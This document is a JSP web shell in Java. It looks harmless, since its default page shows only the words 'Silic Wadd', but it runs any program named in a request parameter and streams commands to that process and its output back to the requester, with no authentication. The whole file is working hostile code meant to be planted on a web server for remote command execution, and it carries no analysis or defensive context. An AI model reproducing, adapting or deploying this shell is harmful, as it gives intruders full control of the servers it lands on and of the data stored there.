<%@page pageEncoding="gbk"%>
<%@page import="java.io.*"%>
<%!
public static boolean isEmpty(String s) {
return s == null || s.trim().length() == 0;
}
public static String convert(String s) throws Exception {
if (isEmpty(s))
return "";
return new String(s.getBytes("iso-8859-1"));
}
static String cmd = "first";
static Process pro = null;
class StreamConnector extends Thread {
private InputStream is;
private OutputStream os;
private String name;
public StreamConnector( InputStream is, OutputStream os ,String name){
this.is = is;
this.os = os;
this.name = name;
}
public void run(){
BufferedReader in = null;
BufferedWriter out = null;
try{
in = new BufferedReader( new InputStreamReader(this.is));
out = new BufferedWriter( new OutputStreamWriter(this.os));
char buffer[] = new char[128];
if(this.name.equals("exeRclientO")) {
//从EXE读向客户端写
int length = 0;
while((length = in.read( buffer, 0, buffer.length ))>0){
String str = new String(buffer, 0, length);
str = str.replace("&","&").replace("<","<").replace(">",">");
str = str.replace(""+(char)13+(char)10,"
");
str = str.replace("\n","
");
out.write(str.toCharArray(), 0, str.length());
out.flush();
}
} else {
//从客户端读向EXE写。
while(true) {
while(cmd == null) {
Thread.sleep(500);
}
if (cmd.equals("first")) {
cmd = null;
continue;
}
cmd = cmd + (char)10;
char[] arr = cmd.toCharArray();
out.write(arr,0,arr.length);
out.flush();
cmd = null;
}
}
} catch(Exception e){
}
try{
if(in != null)
in.close();
if(out != null)
out.close();
} catch( Exception e ){
}
}
}
%>
<%
String o = request.getParameter("o");
if (isEmpty(o))
o = "index";
else
o = o.trim().toLowerCase();
if (o.equals("index")) {
%>
Silic Wadd
<%
} else if (o.equals("start")) {
String exe = request.getParameter("exe");
if (!isEmpty(exe)) {
pro = Runtime.getRuntime().exec(exe);
ByteArrayOutputStream outs = new ByteArrayOutputStream();
response.setContentLength(100000000);
new StreamConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR").start();
new StreamConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO").start();
new StreamConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO").start();//错误信息流。
Thread.sleep(1000 * 60 * 60 * 24);
}
} else if (o.equals("execute")) {
String command = request.getParameter("cmd");
if (!isEmpty(command)) {
cmd = convert(command);
}
} else if (o.equals("stop")) {
pro.destroy();
}
%>